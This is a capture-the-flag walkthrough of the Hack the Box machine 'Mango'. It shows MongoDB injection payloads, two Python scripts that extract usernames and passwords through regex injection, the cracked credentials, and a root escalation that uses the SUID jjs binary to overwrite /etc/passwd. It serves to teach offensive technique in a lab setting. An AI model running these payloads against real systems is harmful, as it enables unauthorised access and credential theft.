Hack the Box: Mango#

Mango was a medium difficulty machine on Hack the Box. Here’s my take on solving the challenge.

Mango

Mango

Tl;dr: SSL certificate reveals a virtual host with a login page. It is vulnerable to MongoDb injection that allows to enum the registered users and password. The credentials are reused in SSH which allows to get user flag. Root can be obtained by exploiting SUID on jjs binary.

User#

As usual nmap scan reveals a couple of potential attack surfaces. Most notably HTTP services:

nmap -sS -sV -n -p- mango.htb
-- snip --

A SSL certificate reveals a possible virtual host subdomain:

# openssl s_client -showcerts -connect mango.htb:443
CONNECTED(00000003)
depth=0 C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb

Under staging-order.mango.htb there’s a login page:

Mango login page

Mango login page

It seems to be vulnerable to a MongoDb injection because adding [$ne] (not equals) to username and password results in logging in:

username[$ne]=test&password[$ne]=test&login=login

Unfortunately, the service itself doesn’t provide much value:

Logged in to staging\-order

Logged in to staging-order

Instead it’s possible to use regular expressions to start guessing actual usernames present in the system. The following script will list all logins:

#!/usr/bin/env python 

import requests
import string
import sys
import re

charList=string.ascii_letters

def findNextLetter(prependString):
	for character in charList:
		sys.stdout.write("\r")
		currentTest=prependString+character
		sys.stdout.write(currentTest)
		sys.stdout.flush()
		r = requests.post("http://staging-order.mango.htb/", data={"username[$regex]": "^"+re.escape(currentTest)+".*", "password[$ne]": "test", "login:":"login"}, allow_redirects=False)
		if r.status_code == 302:
			findNextLetter(currentTest)
	sys.stdout.write("\r")
	r = requests.post("http://staging-order.mango.htb/", data={"username":  prependString, "password[$ne]": "test", "login:":"login"}, allow_redirects=False)
	if r.status_code == 302:
		sys.stdout.write(prependString + '    ')	
		sys.stdout.write('\n')
	else:
		sys.stdout.write(' ' * (len(prependString)+1))
	
	sys.stdout.flush()
	
findNextLetter("")

After a couple of modifications the script can also list passwords:

#!/usr/bin/env python 

import requests
import string
import sys
import re
import argparse

charList=string.printable

def findNextLetter(username, prependString):
	for character in charList:
		if not character.isprintable():
			continue
		sys.stdout.write("\r")
		currentTest=prependString+character
		sys.stdout.write(currentTest)
		sys.stdout.flush()
		r = requests.post("http://staging-order.mango.htb/", data={"username": username, "password[$regex]": "^"+re.escape(currentTest)+".*", "login:":"login"}, allow_redirects=False)
		if r.status_code == 302:
			findNextLetter(username, currentTest)
			return
	sys.stdout.write("\r")
	r = requests.post("http://staging-order.mango.htb/", data={"username":  username, "password": prependString, "login:":"login"}, allow_redirects=False)
	if r.status_code == 302:
		sys.stdout.write(prependString + '                                ')	
		sys.stdout.write('\n')
	else:
		sys.stdout.write(' ' * (len(prependString)+1))
	
	sys.stdout.flush()
	
parser = argparse.ArgumentParser(description="Enum script for password of a given user")
parser.add_argument("-u", "--username", help="Username to find password of", required=True, )
args = parser.parse_args()

findNextLetter(args.username, "")

Running above scripts reveals two sets of credentials:

# python mango-enum-users.py 
admin    
mango    
# python mango-enum-password.py -u admin
t9KcS3>!0B#2                                
# python mango-enum-password.py -u mango
h3mXK8RhU~f{]f5H

SSH doesn’t let to login to admin account remotely. But it’s possible to do so for mango user. Locally admin ’s password works which allows to get user flag:

# ssh mango@mango.htb
-- snip --
Password: h3mXK8RhU~f{]f5H

Root#

There’s an suid binary on the system that allows code execution:

$ find / -perm /4000 2>/dev/null
-- snip --
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-- snip --

Jjs is kind of limited when it comes to redirecting input. Nevertheless it’s possible to modify /etc/passwd file to add a root user. First, it’s neccesary to prepare a password hash. That can be done on attackers machine:

openssl passwd -1 -salt tellico test123
$1$tellico$30TQ5Bff7wtirtpxbOqmR/

Now on the victim machine it’s possible to edit a copy of passwd file and then exploit jjs to overwrite the original /etc/passwd :

$ cd /tmp
$ cp /etc/passwd .
$ echo "tellico:\$1\$tellico$30TQ5Bff7wtirtpxbOqmR/:0:0::/root:/bin/bash" >> passwd
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp passwd /etc/passwd').waitFor()" | jjs
$ su tellico
Password: test123
root@mango:/home/admin/tellico# cd /root
root@mango:~# cat root.txt
8a8...